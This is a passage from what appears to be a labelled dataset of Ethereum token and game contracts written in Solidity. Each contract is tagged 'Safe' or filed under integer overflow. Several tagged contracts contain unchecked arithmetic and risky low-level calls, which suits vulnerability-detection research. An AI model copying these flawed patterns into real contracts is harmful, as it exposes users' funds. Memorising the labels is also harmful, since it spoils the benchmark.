allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 5000; } else { tokens = msg.value * 5000; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 1457.sol,"pragma solidity ^0.4.20; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; constructor ()public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner)public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20 { function balanceOf(address who)public constant returns (uint256); function transfer(address to, uint256 value)public returns (bool); function transferFrom(address from, address to, uint256 value)public returns (bool); function allowance(address owner, address spender)public constant returns (uint256); function approve(address spender, uint256 value)public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract WeiLaiExToken is ERC20,Ownable { using SafeMath for uint256; string public name; string public symbol; uint256 public totalSupply; uint256 public constant decimals = 18; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) allowed; address[] private walletArr; uint walletIdx = 0; event FundTransfer(address fundWallet, uint256 amount); function WeiLaiExToken() public { name=""WeiLaiExToken""; symbol=""WT""; totalSupply = 2000000000*(10**decimals); balanceOf[msg.sender] = totalSupply; walletArr.push(0xC050D79CbBC62eaE5F50Fb631aae8C69bdC3c88f); } function balanceOf(address _who)public constant returns (uint256 balance) { require(_who != 0x0); return balanceOf[_who]; } function _transferFrom(address _from, address _to, uint256 _value) internal returns (bool) { require(_from != 0x0); require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) >= balanceOf[_to]); uint256 previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); return true; } function transfer(address _to, uint256 _value) public returns (bool){ return _transferFrom(msg.sender,_to,_value); } function ()public payable { _tokenPurchase( ); } function _tokenPurchase( ) internal { require(msg.value >= 1 ether); address wallet = walletArr[walletIdx]; walletIdx = (walletIdx+1) % walletArr.length; wallet.transfer(msg.value); emit FundTransfer(wallet, msg.value); } function allowance(address _owner, address _spender)public constant returns (uint256 remaining) { require(_owner != 0x0); require(_spender != 0x0); return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value)public returns (bool) { require(_spender != 0x0); require(balanceOf[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value)public returns (bool) { require(_from != 0x0); require(_to != 0x0); require(_value > 0); require(allowed[_from][msg.sender] >= _value); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) >= balanceOf[_to]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 0x01e94c09667faab7239be0516b4369ac6bb877eb_FaceterTeamTokensLock.sol,"pragma solidity 0.4.19; contract ERC20Interface { function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract FaceterTeamTokensLock { address constant RECEIVER = 0x4365e5d6e48bb0a4db93555363aad7989caa9b05; uint constant AMOUNT = 18750000 * 10**18; ERC20Interface constant FaceterToken = ERC20Interface(0x1ccaa0f2a7210d76e1fdec740d5f323e2e1b1672); uint8 public unlockStep; function unlock() public returns(bool) { uint unlockAmount = 0; // Oct 1, 2018 if (unlockStep == 0 && now >= 1538352000) { unlockAmount = AMOUNT; // Jan 1, 2018 } else if (unlockStep == 1 && now >= 1546300800) { unlockAmount = AMOUNT; // Apr 1, 2019 } else if (unlockStep == 2 && now >= 1554076800) { unlockAmount = AMOUNT; // Jul 1, 2019 } else if (unlockStep == 3 && now >= 1561939200) { unlockAmount = AMOUNT; // Oct 1, 2019 } else if (unlockStep == 4 && now >= 1569888000) { unlockAmount = AMOUNT; // Jan 1, 2019 } else if (unlockStep == 5 && now >= 1577836800) { unlockAmount = AMOUNT; // Apr 1, 2020 } else if (unlockStep == 6 && now >= 1585699200) { unlockAmount = AMOUNT; // Jul 1, 2020 } else if (unlockStep == 7 && now >= 1593561600) { unlockAmount = FaceterToken.balanceOf(this); } if (unlockAmount == 0) { return false; } unlockStep++; require(FaceterToken.transfer(RECEIVER, unlockAmount)); return true; } function () public { unlock(); } function recoverTokens(ERC20Interface _token) public returns(bool) { // Don't allow recovering Faceter Token till the end of lock. if (_token == FaceterToken && now < 1593561600 && unlockStep != 8) { return false; } return _token.transfer(RECEIVER, _token.balanceOf(this)); } }",Safe,8,8 1951.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract stsc is owned, TokenERC20{ bool public freeze=true; function stsc() TokenERC20(20000000000,""StarbullCoin"",""STSC"") public {} function _transfer(address _from, address _to, uint _value) internal { require (freeze); require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function setfreeze(bool state) onlyOwner public{ freeze=state; } }",./Dataset/integer overflow (OF)/,4,4 1928.sol,"pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract dCoinswapToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function dCoinswapToken() public { symbol = ""DCS""; name = ""dCoinswap Token""; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x7A75881E6DD21e0915e9753dDC0849DFc313515b] = _totalSupply; Transfer(address(0), 0x7A75881E6DD21e0915e9753dDC0849DFc313515b, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 338.sol,"pragma solidity ^0.4.24; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } contract AccessControl is SafeMath{ event ContractUpgrade(address newContract); address public ceoAddress; address public cfoAddress; address public cooAddress; address newContractAddress; uint public tip_total = 0; uint public tip_rate = 20000000000000000; bool public paused = false; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCFO() { require(msg.sender == cfoAddress); _; } modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } function () public payable{ tip_total = safeAdd(tip_total, msg.value); } function amountWithTip(uint amount) internal returns(uint){ uint tip = safeMul(amount, tip_rate) / (1 ether); tip_total = safeAdd(tip_total, tip); return safeSub(amount, tip); } function withdrawTip(uint amount) external onlyCFO { require(amount > 0 && amount <= tip_total); require(msg.sender.send(amount)); tip_total = tip_total - amount; } function setNewAddress(address newContract) external onlyCEO whenPaused { newContractAddress = newContract; emit ContractUpgrade(newContract); } function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() external onlyCLevel whenNotPaused { paused = true; } function unpause() public onlyCEO whenPaused { paused = false; } } contract RpsGame is SafeMath , AccessControl{ uint8 constant public NONE = 0; uint8 constant public ROCK = 10; uint8 constant public PAPER = 20; uint8 constant public SCISSORS = 30; uint8 constant public DEALERWIN = 201; uint8 constant public PLAYERWIN = 102; uint8 constant public DRAW = 101; event CreateGame(uint gameid, address dealer, uint amount); event JoinGame(uint gameid, address player, uint amount); event Reveal(uint gameid, address player, uint8 choice); event CloseGame(uint gameid,address dealer,address player, uint8 result); struct Game { uint expireTime; address dealer; uint dealerValue; bytes32 dealerHash; uint8 dealerChoice; address player; uint8 playerChoice; uint playerValue; uint8 result; bool closed; } mapping (uint => mapping(uint => uint8)) public payoff; mapping (uint => Game) public games; mapping (address => uint[]) public gameidsOf; uint public maxgame = 0; uint public expireTimeLimit = 30 minutes; function RpsGame() { payoff[ROCK][ROCK] = DRAW; payoff[ROCK][PAPER] = PLAYERWIN; payoff[ROCK][SCISSORS] = DEALERWIN; payoff[PAPER][ROCK] = DEALERWIN; payoff[PAPER][PAPER] = DRAW; payoff[PAPER][SCISSORS] = PLAYERWIN; payoff[SCISSORS][ROCK] = PLAYERWIN; payoff[SCISSORS][PAPER] = DEALERWIN; payoff[SCISSORS][SCISSORS] = DRAW; payoff[NONE][NONE] = DRAW; payoff[ROCK][NONE] = DEALERWIN; payoff[PAPER][NONE] = DEALERWIN; payoff[SCISSORS][NONE] = DEALERWIN; payoff[NONE][ROCK] = PLAYERWIN; payoff[NONE][PAPER] = PLAYERWIN; payoff[NONE][SCISSORS] = PLAYERWIN; ceoAddress = msg.sender; cooAddress = msg.sender; cfoAddress = msg.sender; } function createGame(bytes32 dealerHash, address player) public payable whenNotPaused returns (uint){ require(dealerHash != 0x0); maxgame += 1; Game storage game = games[maxgame]; game.dealer = msg.sender; game.player = player; game.dealerHash = dealerHash; game.dealerChoice = NONE; game.dealerValue = msg.value; game.expireTime = expireTimeLimit + now; gameidsOf[msg.sender].push(maxgame); emit CreateGame(maxgame, game.dealer, game.dealerValue); return maxgame; } function joinGame(uint gameid, uint8 choice) public payable whenNotPaused returns (uint){ Game storage game = games[gameid]; require(msg.value == game.dealerValue && game.dealer != address(0) && game.dealer != msg.sender && game.playerChoice==NONE); require(game.player == address(0) || game.player == msg.sender); require(!game.closed); require(now < game.expireTime); require(checkChoice(choice)); game.player = msg.sender; game.playerChoice = choice; game.playerValue = msg.value; game.expireTime = expireTimeLimit + now; gameidsOf[msg.sender].push(gameid); emit JoinGame(gameid, game.player, game.playerValue); return gameid; } function reveal(uint gameid, uint8 choice, bytes32 randomSecret) public returns (bool) { Game storage game = games[gameid]; bytes32 proof = getProof(msg.sender, choice, randomSecret); require(!game.closed); require(now < game.expireTime); require(game.dealerHash != 0x0); require(checkChoice(choice)); require(checkChoice(game.playerChoice)); require(game.dealer == msg.sender && proof == game.dealerHash ); game.dealerChoice = choice; Reveal(gameid, msg.sender, choice); close(gameid); return true; } function close(uint gameid) public returns(bool) { Game storage game = games[gameid]; require(!game.closed); require(now > game.expireTime || (game.dealerChoice != NONE && game.playerChoice != NONE)); uint totalAmount = safeAdd(game.dealerValue, game.playerValue); uint reward = amountWithTip(totalAmount); uint8 result = payoff[game.dealerChoice][game.playerChoice]; if(result == DEALERWIN){ require(game.dealer.send(reward)); }else if(result == PLAYERWIN){ require(game.player.send(reward)); }else if(result == DRAW){ require(game.dealer.send(game.dealerValue) && game.player.send(game.playerValue)); } game.closed = true; game.result = result; emit CloseGame(gameid, game.dealer, game.player, result); return game.closed; } function getProof(address sender, uint8 choice, bytes32 randomSecret) public view returns (bytes32){ return sha3(sender, choice, randomSecret); } function gameCountOf(address owner) public view returns (uint){ return gameidsOf[owner].length; } function checkChoice(uint8 choice) public view returns (bool){ return choice==ROCK||choice==PAPER||choice==SCISSORS; } }",./Dataset/integer overflow (OF)/,4,4 0x042266f5ae851aff4a8104f71cf8982be1fe539f_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27129600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xa5FCeBfb00f11DBb7A673C966158657B828b36D9; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 0x0474D1D1f9fb6b6Db80b150512dBF12f6564C49e_BitFinTechToken.sol,"pragma solidity ^0.4.18; // Created by BitFinTech TEAM - 2017 https://bitfintech.io contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract BitFinTechToken is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function BitFinTechToken( ) { balances[msg.sender] = 26888888000000000000000000; totalSupply = 26888888000000000000000000; name = ""BitFinTech""; decimals = 18; symbol = ""BFI""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 1216.sol,"pragma solidity ^0.4.21; /* 要約 アーティファクトチェーン(ArtifactChain)は次世代デジタル資産銀行であり、世界初の暗号化デジタル資産業界のビジネス応用に力を注いでいるパブリックチェーンプロジェクトであり、ブロックチェーンネットワークに基づくグローバルコーディネーションを行い、また、全世界ユーザーに精確にデジタル資産発行、取引及び管理関連サービスを提供する分散型スマート金融プラットフォームである。私達はアーティファクトチェーンを通じて、資産のデジタル化過程に生じるデジタル資産発行の煩雑さ、デジタル資産の紛失し易さ、パブリックチェーン容量の有限さ、ブロックチェーン取引費用の高過ぎさ、ユーザープライバシー保護の欠如、オンチェーンデジタル資産と実物資産との連動における真実性と一致性の欠如などの問題を解決したいと考えている。アーティファクトチェーンはビジネス用ブロックチェーンに無限の容量、極めて低いコスト及び商業機密を保護する能力を持たせる。アーティファクトチェーンは最終的にブロックチェーン技術によって、異なる国家間の業務とシーンを結び付け、全世界範囲内での効果的な協調を実現したいと願っている。私達は将来的にデータスマート技術を利用して、全世界のいかなるユーザーに精確に必要とする各種デジタル金融サービスを提供できると望んでいる。アーティファクトチェーンは次世代デジタル資産銀行であり、次世代知能金融生態圏を構築するために生まれたものである。 */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ArtifactCoin is ERC223 { using SafeMath for uint256; using SafeMath for uint; address public owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; mapping (address => uint256) public unlockUnixTime; string internal name_= ""ArtifactCoin""; string public Information= ""アーティファクトチェーン""; string internal symbol_ = ""3A""; uint8 internal decimals_= 18; bool public canTransfer = true; uint256 public etherGetBase=6000000; uint256 internal totalSupply_= 2000000000e18; uint256 public OfficalHolding = totalSupply_.mul(30).div(100); uint256 public totalRemaining = totalSupply_; uint256 public totalDistributed = 0; uint256 internal freeGiveBase = 300e17; uint256 public lowEth = 1e14; bool public distributionFinished = false; bool public endFreeGet = false; bool public endEthGet = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canTrans() { require(canTransfer == true); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function ArtifactCoin (address offical) public { owner = msg.sender; distr(offical, OfficalHolding); } // Function to access name of token . function name() public view returns (string _name) { return name_; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol_; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals_; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply_; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) canTrans public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function changeOwner(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; return true; } function startDistribution() onlyOwner public returns (bool) { distributionFinished = false; return true; } function finishFreeGet() onlyOwner canDistr public returns (bool) { endFreeGet = true; return true; } function finishEthGet() onlyOwner canDistr public returns (bool) { endEthGet = true; return true; } function startFreeGet() onlyOwner canDistr public returns (bool) { endFreeGet = false; return true; } function startEthGet() onlyOwner canDistr public returns (bool) { endEthGet = false; return true; } function startTransfer() onlyOwner public returns (bool) { canTransfer = true; return true; } function stopTransfer() onlyOwner public returns (bool) { canTransfer = false; return true; } function changeBaseValue(uint256 _freeGiveBase,uint256 _etherGetBase,uint256 _lowEth) onlyOwner public returns (bool) { freeGiveBase = _freeGiveBase; etherGetBase=_etherGetBase; lowEth=_lowEth; return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { require(totalRemaining >= 0); require(_amount<=totalRemaining); totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(address(0), _to, _amount); return true; } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint8 i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply_) { distributionFinished = true; } } } function () external payable { get(); } function get() payable canDistr onlyWhitelist public { if (freeGiveBase > 